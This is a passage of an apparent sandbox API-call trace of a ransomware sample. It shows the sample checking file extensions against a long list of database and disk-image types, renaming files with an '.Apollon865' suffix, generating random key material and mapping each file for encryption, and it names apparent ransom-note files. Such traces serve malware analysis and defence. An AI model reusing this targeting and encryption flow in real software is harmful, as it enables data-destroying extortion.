	[0083.673] lstrlenW (lpString="dbb") returned 3
	[0083.673] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0083.673] lstrlenW (lpString="vmdk") returned 4
	[0083.673] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0083.675] lstrlenW (lpString="rar") returned 3
	[0083.675] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0083.675] lstrlenW (lpString="zip") returned 3
	[0083.675] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0083.675] lstrlenW (lpString="tgz") returned 3
	[0083.675] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0083.675] lstrlenW (lpString="vbox") returned 4
	[0083.675] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0083.675] lstrlenW (lpString="vdi") returned 3
	[0083.675] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0083.675] lstrlenW (lpString="vhd") returned 3
	[0083.675] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0083.675] lstrlenW (lpString="vhdx") returned 4
	[0083.675] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0083.675] lstrlenW (lpString="avhd") returned 4
	[0083.675] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0083.675] lstrlenW (lpString="db") returned 2
	[0083.675] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0083.675] lstrlenW (lpString="db2") returned 3
	[0083.675] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0083.679] lstrlenW (lpString="db3") returned 3
	[0083.679] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0083.679] lstrlenW (lpString="dbf") returned 3
	[0083.679] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0083.679] lstrlenW (lpString="mdf") returned 3
	[0083.679] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0083.679] lstrlenW (lpString="mdb") returned 3
	[0083.679] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0083.679] lstrlenW (lpString="sql") returned 3
	[0083.679] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0083.679] lstrlenW (lpString="sqlite") returned 6
	[0083.679] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0083.679] lstrlenW (lpString="sqlite3") returned 7
	[0083.679] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0083.679] lstrlenW (lpString="sqlitedb") returned 8
	[0083.680] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0083.680] lstrlenW (lpString="xml") returned 3
	[0083.680] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0083.680] lstrlenW (lpString="$er") returned 3
	[0083.680] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0083.680] lstrlenW (lpString="4dd") returned 3
	[0083.680] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0083.680] lstrlenW (lpString="4dl") returned 3
	[0083.680] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0083.680] lstrlenW (lpString="^^^") returned 3
	[0083.680] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0083.680] lstrlenW (lpString="abs") returned 3
	[0083.680] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0083.680] lstrlenW (lpString="abx") returned 3
	[0083.680] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0083.680] lstrlenW (lpString="accdb") returned 5
	[0083.680] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0083.680] lstrlenW (lpString="accdc") returned 5
	[0083.680] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0083.680] lstrlenW (lpString="accde") returned 5
	[0083.680] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0083.680] lstrlenW (lpString="accdr") returned 5
	[0083.680] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0083.680] lstrlenW (lpString="accdt") returned 5
	[0083.680] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0083.680] lstrlenW (lpString="accdw") returned 5
	[0083.680] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0083.680] lstrlenW (lpString="accft") returned 5
	[0083.680] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0083.680] lstrlenW (lpString="adb") returned 3
	[0083.680] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0083.680] lstrlenW (lpString="adb") returned 3
	[0083.680] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0083.680] lstrlenW (lpString="ade") returned 3
	[0083.680] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0083.680] lstrlenW (lpString="adf") returned 3
	[0083.680] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0083.680] lstrlenW (lpString="adn") returned 3
	[0083.680] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0083.680] lstrlenW (lpString="adp") returned 3
	[0083.681] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0083.681] lstrlenW (lpString="alf") returned 3
	[0083.681] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0083.681] lstrlenW (lpString="ask") returned 3
	[0083.681] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0083.681] lstrlenW (lpString="btr") returned 3
	[0083.681] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0083.681] lstrlenW (lpString="cat") returned 3
	[0083.681] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0083.681] lstrlenW (lpString="cdb") returned 3
	[0083.681] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0083.681] lstrlenW (lpString="ckp") returned 3
	[0083.681] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0083.681] lstrlenW (lpString="cma") returned 3
	[0083.681] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0083.681] lstrlenW (lpString="cpd") returned 3
	[0083.681] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0083.681] lstrlenW (lpString="dacpac") returned 6
	[0083.681] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0083.681] lstrlenW (lpString="dad") returned 3
	[0083.681] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0083.681] lstrlenW (lpString="dadiagrams") returned 10
	[0083.681] lstrcmpiW (lpString1="ST.trx_dll", lpString2="dadiagrams") returned 1
	[0083.681] lstrlenW (lpString="daschema") returned 8
	[0083.681] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0083.681] lstrlenW (lpString="db-journal") returned 10
	[0083.681] lstrcmpiW (lpString1="ST.trx_dll", lpString2="db-journal") returned 1
	[0083.681] lstrlenW (lpString="db-shm") returned 6
	[0083.681] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0083.681] lstrlenW (lpString="db-wal") returned 6
	[0083.681] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0083.681] lstrlenW (lpString="dbc") returned 3
	[0083.681] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0083.681] lstrlenW (lpString="dbs") returned 3
	[0083.681] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0083.681] lstrlenW (lpString="dbt") returned 3
	[0083.681] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0083.682] lstrlenW (lpString="dbv") returned 3
	[0083.682] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0083.682] lstrlenW (lpString="dbx") returned 3
	[0083.682] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0083.682] lstrlenW (lpString="dcb") returned 3
	[0083.682] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0083.682] lstrlenW (lpString="dct") returned 3
	[0083.682] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0083.682] lstrlenW (lpString="dcx") returned 3
	[0083.682] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0083.682] lstrlenW (lpString="ddl") returned 3
	[0083.682] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0083.682] lstrlenW (lpString="dlis") returned 4
	[0083.682] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0083.682] lstrlenW (lpString="dp1") returned 3
	[0083.682] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0083.682] lstrlenW (lpString="dqy") returned 3
	[0083.682] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0083.682] lstrlenW (lpString="dsk") returned 3
	[0083.682] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0083.682] lstrlenW (lpString="dsn") returned 3
	[0083.682] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0083.682] lstrlenW (lpString="dtsx") returned 4
	[0083.682] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0083.682] lstrlenW (lpString="dxl") returned 3
	[0083.682] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0083.682] lstrlenW (lpString="eco") returned 3
	[0083.682] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0083.682] lstrlenW (lpString="ecx") returned 3
	[0083.682] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0083.682] lstrlenW (lpString="edb") returned 3
	[0083.682] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0083.682] lstrlenW (lpString="epim") returned 4
	[0083.682] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0083.682] lstrlenW (lpString="fcd") returned 3
	[0083.682] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0083.682] lstrlenW (lpString="fdb") returned 3
	[0083.682] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0083.683] lstrlenW (lpString="fic") returned 3
	[0083.683] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0083.683] lstrlenW (lpString="flexolibrary") returned 12
	[0083.683] lstrcmpiW (lpString1="REST.trx_dll", lpString2="flexolibrary") returned 1
	[0083.683] lstrlenW (lpString="fm5") returned 3
	[0083.683] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0083.683] lstrlenW (lpString="fmp") returned 3
	[0083.683] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0083.683] lstrlenW (lpString="fmp12") returned 5
	[0083.683] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0083.683] lstrlenW (lpString="fmpsl") returned 5
	[0083.683] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0083.683] lstrlenW (lpString="fol") returned 3
	[0083.683] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0083.683] lstrlenW (lpString="fp3") returned 3
	[0083.683] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0083.683] lstrlenW (lpString="fp4") returned 3
	[0083.683] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0083.683] lstrlenW (lpString="fp5") returned 3
	[0083.683] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0083.683] lstrlenW (lpString="fp7") returned 3
	[0083.683] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0083.683] lstrlenW (lpString="fpt") returned 3
	[0083.683] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0083.683] lstrlenW (lpString="frm") returned 3
	[0083.683] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0083.683] lstrlenW (lpString="gdb") returned 3
	[0083.683] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0083.683] lstrlenW (lpString="gdb") returned 3
	[0083.683] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0083.683] lstrlenW (lpString="grdb") returned 4
	[0083.683] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0083.683] lstrlenW (lpString="gwi") returned 3
	[0083.683] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0083.683] lstrlenW (lpString="hdb") returned 3
	[0083.683] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0083.683] lstrlenW (lpString="his") returned 3
	[0083.683] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0083.683] lstrlenW (lpString="ib") returned 2
	[0083.684] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0083.684] lstrlenW (lpString="idb") returned 3
	[0083.684] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0083.684] lstrlenW (lpString="ihx") returned 3
	[0083.684] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0083.684] lstrlenW (lpString="itdb") returned 4
	[0083.684] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0083.684] lstrlenW (lpString="itw") returned 3
	[0083.684] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0083.684] lstrlenW (lpString="jet") returned 3
	[0083.684] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0083.684] lstrlenW (lpString="jtx") returned 3
	[0083.684] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0083.684] lstrlenW (lpString="kdb") returned 3
	[0083.684] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0083.684] lstrlenW (lpString="kexi") returned 4
	[0083.684] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0083.684] lstrlenW (lpString="kexic") returned 5
	[0083.684] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0083.684] lstrlenW (lpString="kexis") returned 5
	[0083.684] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0083.684] lstrlenW (lpString="lgc") returned 3
	[0083.684] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0083.684] lstrlenW (lpString="lwx") returned 3
	[0083.684] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0083.684] lstrlenW (lpString="maf") returned 3
	[0083.684] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0083.684] lstrlenW (lpString="maq") returned 3
	[0083.684] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0083.684] lstrlenW (lpString="mar") returned 3
	[0083.684] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0083.684] lstrlenW (lpString="marshal") returned 7
	[0083.684] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0083.684] lstrlenW (lpString="mas") returned 3
	[0083.684] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0083.684] lstrlenW (lpString="mav") returned 3
	[0083.684] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0083.685] lstrlenW (lpString="maw") returned 3
	[0083.685] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0083.685] lstrlenW (lpString="mdbhtml") returned 7
	[0083.685] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0083.685] lstrlenW (lpString="mdn") returned 3
	[0083.685] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0083.685] lstrlenW (lpString="mdt") returned 3
	[0083.685] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0083.685] lstrlenW (lpString="mfd") returned 3
	[0083.685] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0083.685] lstrlenW (lpString="mpd") returned 3
	[0083.685] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0083.685] lstrlenW (lpString="mrg") returned 3
	[0083.685] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0083.685] lstrlenW (lpString="mud") returned 3
	[0083.685] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0083.685] lstrlenW (lpString="mwb") returned 3
	[0083.685] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0083.685] lstrlenW (lpString="myd") returned 3
	[0083.685] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0083.685] lstrlenW (lpString="ndf") returned 3
	[0083.685] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0083.685] lstrlenW (lpString="nnt") returned 3
	[0083.685] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0083.685] lstrlenW (lpString="nrmlib") returned 6
	[0083.685] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0083.685] lstrlenW (lpString="ns2") returned 3
	[0083.685] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0083.685] lstrlenW (lpString="ns3") returned 3
	[0083.685] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0083.685] lstrlenW (lpString="ns4") returned 3
	[0083.685] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0083.685] lstrlenW (lpString="nsf") returned 3
	[0083.685] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0083.685] lstrlenW (lpString="nv") returned 2
	[0083.685] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0083.685] lstrlenW (lpString="nv2") returned 3
	[0083.685] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0083.686] lstrlenW (lpString="nwdb") returned 4
	[0083.686] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0083.686] lstrlenW (lpString="nyf") returned 3
	[0083.686] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0083.686] lstrlenW (lpString="odb") returned 3
	[0083.686] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0083.686] lstrlenW (lpString="odb") returned 3
	[0083.686] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0083.686] lstrlenW (lpString="oqy") returned 3
	[0083.686] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0083.686] lstrlenW (lpString="ora") returned 3
	[0083.686] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0083.686] lstrlenW (lpString="orx") returned 3
	[0083.686] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0083.686] lstrlenW (lpString="owc") returned 3
	[0083.686] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0083.686] lstrlenW (lpString="p96") returned 3
	[0083.686] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0083.686] lstrlenW (lpString="p97") returned 3
	[0083.686] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0083.686] lstrlenW (lpString="pan") returned 3
	[0083.686] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0083.686] lstrlenW (lpString="pdb") returned 3
	[0083.686] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0083.686] lstrlenW (lpString="pdm") returned 3
	[0083.686] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0083.686] lstrlenW (lpString="pnz") returned 3
	[0083.686] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0083.686] lstrlenW (lpString="qry") returned 3
	[0083.686] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0083.686] lstrlenW (lpString="qvd") returned 3
	[0083.686] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0083.686] lstrlenW (lpString="rbf") returned 3
	[0083.686] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0083.686] lstrlenW (lpString="rctd") returned 4
	[0083.686] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0083.686] lstrlenW (lpString="rod") returned 3
	[0083.686] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0083.686] lstrlenW (lpString="rodx") returned 4
	[0083.687] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0083.687] lstrlenW (lpString="rpd") returned 3
	[0083.687] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0083.687] lstrlenW (lpString="rsd") returned 3
	[0083.687] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0083.687] lstrlenW (lpString="sas7bdat") returned 8
	[0083.687] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0083.687] lstrlenW (lpString="sbf") returned 3
	[0083.687] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0083.687] lstrlenW (lpString="scx") returned 3
	[0083.687] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0083.687] lstrlenW (lpString="sdb") returned 3
	[0083.687] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0083.687] lstrlenW (lpString="sdc") returned 3
	[0083.687] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0083.687] lstrlenW (lpString="sdf") returned 3
	[0083.687] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0083.687] lstrlenW (lpString="sis") returned 3
	[0083.687] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0083.687] lstrlenW (lpString="spq") returned 3
	[0083.687] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0083.687] lstrlenW (lpString="te") returned 2
	[0083.687] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0083.687] lstrlenW (lpString="teacher") returned 7
	[0083.687] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0083.687] lstrlenW (lpString="tmd") returned 3
	[0083.687] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0083.687] lstrlenW (lpString="tps") returned 3
	[0083.687] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0083.687] lstrlenW (lpString="trc") returned 3
	[0083.687] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0083.687] lstrlenW (lpString="trc") returned 3
	[0083.687] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0083.687] lstrlenW (lpString="trm") returned 3
	[0083.687] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0083.687] lstrlenW (lpString="udb") returned 3
	[0083.687] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0083.687] lstrlenW (lpString="udl") returned 3
	[0083.687] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0083.688] lstrlenW (lpString="usr") returned 3
	[0083.688] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0083.688] lstrlenW (lpString="v12") returned 3
	[0083.688] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0083.688] lstrlenW (lpString="vis") returned 3
	[0083.688] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0083.688] lstrlenW (lpString="vpd") returned 3
	[0083.688] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0083.688] lstrlenW (lpString="vvv") returned 3
	[0083.688] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0083.688] lstrlenW (lpString="wdb") returned 3
	[0083.688] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0083.688] lstrlenW (lpString="wmdb") returned 4
	[0083.688] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0083.688] lstrlenW (lpString="wrk") returned 3
	[0083.688] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0083.688] lstrlenW (lpString="xdb") returned 3
	[0083.688] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0083.688] lstrlenW (lpString="xld") returned 3
	[0083.688] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0083.688] lstrlenW (lpString="xmlff") returned 5
	[0083.688] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0083.688] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.REST.trx_dll.Apollon865") returned 82
	[0083.688] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\ppintl.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.REST.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\ppintl.rest.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0083.689] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.REST.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\ppintl.rest.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0083.690] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=286560) returned 1
	[0083.690] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0083.690] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0083.690] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0083.690] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0083.691] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0083.691] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0083.691] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x46260, lpName=0x0) returned 0x15c
	[0083.696] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x46260) returned 0x210000
	[0083.725] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0083.725] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0083.726] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0083.726] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0083.726] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0083.726] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0083.726] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0083.726] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0083.726] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0083.726] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0083.726] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0083.726] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0083.726] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0083.726] UnmapViewOfFile (lpBaseAddress=0x210000) returned 1
	[0083.729] CloseHandle (hObject=0x15c) returned 1
	[0083.729] CloseHandle (hObject=0x9c) returned 1
	[0083.729] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0083.729] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0083.729] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0083.731] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa3b09500, ftCreationTime.dwHighDateTime=0x1cac809, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa3b09500, ftLastWriteTime.dwHighDateTime=0x1cac809, nFileSizeHigh=0x0, nFileSizeLow=0x1a360, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PUB6INTL.DLL.trx_dll", cAlternateFileName="PUB6IN~1.TRX")) returned 1
	[0083.731] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0083.731] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0083.731] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2=".") returned 1
	[0083.731] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2="..") returned 1
	[0083.731] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2="windows") returned -1
